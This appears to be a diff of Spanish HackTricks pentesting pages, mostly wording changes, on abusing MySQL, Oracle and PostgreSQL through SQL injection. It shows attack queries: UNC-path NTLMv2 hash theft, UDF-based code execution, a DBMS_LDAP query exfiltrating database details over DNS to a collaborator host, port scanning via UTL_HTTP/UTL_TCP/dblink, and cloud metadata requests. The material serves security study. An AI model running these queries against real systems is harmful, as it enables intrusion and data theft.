Dado que `secure_file_priv` está deshabilitado (`""`), y asumiendo que se otorgan los permisos necesarios para los archivos y `file_priv`, se pueden leer archivos fuera del directorio designado. Sin embargo, la capacidad de estas funciones para realizar llamadas de red depende en gran medida del sistema operativo. En sistemas Windows, las llamadas de red a rutas UNC son factibles debido a la comprensión de las convenciones de nomenclatura UNC por parte del sistema operativo, lo que potencialmente lleva a la exfiltración de hashes NTLMv2.
Este método de SSRF está limitado al puerto TCP 445 y no permite la modificación del número de puerto, aunque se puede utilizar para acceder a compartidos con privilegios de lectura completos y, como se demostró en investigaciones anteriores, para robar hashes para una explotación adicional.
### Ejecución de Código Remoto (RCE) mediante Funciones Definidas por el Usuario (UDF)
Las bases de datos MySQL ofrecen el uso de Funciones Definidas por el Usuario (UDF) a partir de archivos de biblioteca externos. Si estas bibliotecas son accesibles dentro de directorios específicos o en la variable de entorno `$PATH` del sistema, pueden ser invocadas desde MySQL.
Las bases de datos de MySQL ofrecen el uso de Funciones Definidas por el Usuario (UDF) desde archivos de biblioteca externos. Si estas bibliotecas son accesibles dentro de directorios específicos o en la variable de entorno `$PATH` del sistema, pueden ser invocadas desde MySQL.
Esta técnica permite la ejecución de solicitudes de red/HTTP a través de una UDF, siempre que se cumplan varias condiciones, incluido el acceso de escritura al `@@plugin_dir`, `file_priv` configurado como `Y` y `secure_file_priv` deshabilitado.
Esta técnica permite la ejecución de solicitudes de red/HTTP a través de una UDF, siempre que se cumplan varias condiciones, incluido el acceso de escritura al `@@plugin_dir`, `file_priv` configurado en `Y` y `secure_file_priv` deshabilitado.
Por ejemplo, la biblioteca `lib_mysqludf_sys` u otras bibliotecas UDF que permiten solicitudes HTTP pueden cargarse para realizar SSRF. Las bibliotecas deben transferirse al servidor, lo cual se puede lograr mediante la codificación en hexadecimal o base64 del contenido de la biblioteca y luego escribiéndola en el directorio correspondiente.
El proceso varía si el `@@plugin_dir` no es escribible, especialmente para versiones de MySQL superiores a `v5.0.67`. En tales casos, deben utilizarse rutas alternativas que sean escribibles.
La automatización de estos procesos puede facilitarse con herramientas como SQLMap, que admite la inyección de UDF, y para inyecciones de SQL ciegas, se pueden utilizar técnicas de redirección de salida o de contrabando de solicitudes DNS.
La automatización de estos procesos puede facilitarse con herramientas como SQLMap, que admite la inyección de UDF, y para inyecciones de SQL ciegas, se pueden utilizar técnicas de redirección de salida o de contrabando de solicitudes DNS.
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,9 +7,9 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -26,9 +26,9 @@ Ejecuté el comando de docker con la bandera `--network="host"` para poder imita
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Paquetes de Oracle que admiten una especificación de URL o de Nombre de Host/Número de Puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### Paquetes de Oracle que admiten una especificación de URL o de Nombre de host/Número de puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Para encontrar cualquier paquete y función que admita una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en línea de la Base de Datos de Oracle](https://docs.oracle.com/database/121/index.html). Específicamente,
Para encontrar cualquier paquete y función que admita una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en línea de la Base de datos de Oracle](https://docs.oracle.com/database/121/index.html). Específicamente,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
@ -49,15 +49,15 @@ La búsqueda devolvió los siguientes resultados (no todos se pueden utilizar pa
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Esta búsqueda básica obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y un número de puerto) ya que [la página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te redirige a una [ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se puedan abusar para realizar solicitudes salientes que podrían haber sido pasados por alto.
Esta búsqueda básica obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y número de puerto) ya que la [página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te redirige a una [ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se puedan abusar para realizar solicitudes salientes que podrían haber sido pasados por alto.
En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado anteriormente.
**DBMS\_LDAP.INIT**
El paquete `DBMS_LDAP` permite acceder a datos de servidores LDAP. La función `init()` inicializa una sesión con un servidor LDAP y toma un nombre de host y un número de puerto como argumento.
El paquete `DBMS_LDAP` permite acceder a datos de servidores LDAP. La función `init()` inicializa una sesión con un servidor LDAP y toma un nombre de host y número de puerto como argumento.
Esta función ha sido documentada anteriormente para mostrar la filtración de datos a través de DNS, como se muestra a continuación:
Esta función ha sido documentada anteriormente para mostrar la exfiltración de datos a través de DNS, como se muestra a continuación:
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
@ -90,11 +90,11 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
Un `ORA-29276: tiempo de espera de transferencia` muestra que el puerto está abierto pero no se estableció una conexión SMTP, mientras que un `ORA-29278: error transitorio SMTP: 421 Servicio no disponible` indica que el puerto está cerrado.
Un `ORA-29276: transfer timeout` muestra que el puerto está abierto pero no se estableció ninguna conexión SMTP, mientras que un `ORA-29278: SMTP transient error: 421 Service not available` indica que el puerto está cerrado.
**UTL\_TCP**
El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que todos los aspectos de una conexión TCP/IP pueden ser controlados.
El paquete `UTL_TCP` y sus procedimientos y funciones permiten la [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que todos los aspectos de una conexión TCP/IP pueden ser controlados.
El ejemplo [en el sitio de documentación de Oracle muestra cómo se puede usar este paquete para hacer una conexión TCP cruda para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo un poco más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
```
@ -150,7 +150,7 @@ select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos es una señal de que el puerto está abierto.
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos son una señal de que el puerto está abierto.
Otro paquete que he utilizado en el pasado con éxito variado es el [método `GETCLOB()` del tipo abstracto Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que te permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para recuperar la respuesta GET de una URL como un [tipo de dato CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
@ -160,10 +160,10 @@ Otro paquete que he utilizado en el pasado con éxito variado es el [método `GE
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,13 +1,13 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -22,7 +22,7 @@ Para **dividir tus datos binarios** en fragmentos de 2KB, se pueden ejecutar los
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Para codificar cada archivo en Base64 o Hex, se pueden usar los siguientes comandos:
Para codificar cada archivo en Base64 o Hex, se pueden utilizar los siguientes comandos:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
@ -80,10 +80,10 @@ Se señala que **los objetos grandes pueden tener ACL** (Listas de Control de Ac
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -9,7 +9,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -28,7 +28,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,7 +7,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -15,7 +15,7 @@ Otras formas de apoyar a HackTricks:
**Encuentra [más información sobre estos ataques en el documento original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
Desde **PostgreSQL 9.1**, la instalación de módulos adicionales es sencilla. [Las extensiones registradas como `dblink`](https://www.postgresql.org/docs/current/contrib.html) se pueden instalar con [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
Desde **PostgreSQL 9.1**, la instalación de módulos adicionales es sencilla. Las [extensiones registradas como `dblink`](https://www.postgresql.org/docs/current/contrib.html) se pueden instalar con [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
@ -28,7 +28,7 @@ El archivo `pg_hba.conf` podría estar mal configurado **permitiendo conexiones*
local all all trust
```
_Nota que esta configuración se usa comúnmente para modificar la contraseña de un usuario de base de datos cuando el administrador la olvida, por lo que a veces puedes encontrarla._\
_Nota también que el archivo pg\_hba.conf es legible solo por el usuario y grupo postgres y escribible solo por el usuario postgres._
_También ten en cuenta que el archivo pg\_hba.conf solo es legible por el usuario y grupo postgres y solo se puede escribir por el usuario postgres._
Este caso es **útil si** ya tienes una **shell** dentro de la víctima, ya que te permitirá conectarte a la base de datos de postgresql.
@ -53,7 +53,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
## Escaneo de Puertos
Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación indica que `dblink_connect_u()` es idéntico a `dblink_connect()`, excepto que permitirá a los usuarios no superusuarios conectarse utilizando cualquier método de autenticación.
Abusando de `dblink_connect`, también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación indica que `dblink_connect_u()` es idéntico a `dblink_connect()`, excepto que permitirá a los usuarios no superusuarios conectarse utilizando cualquier método de autenticación.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -111,10 +111,10 @@ SELECT testfunc();
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

Some files were not shown because too many files have changed in this diff Show more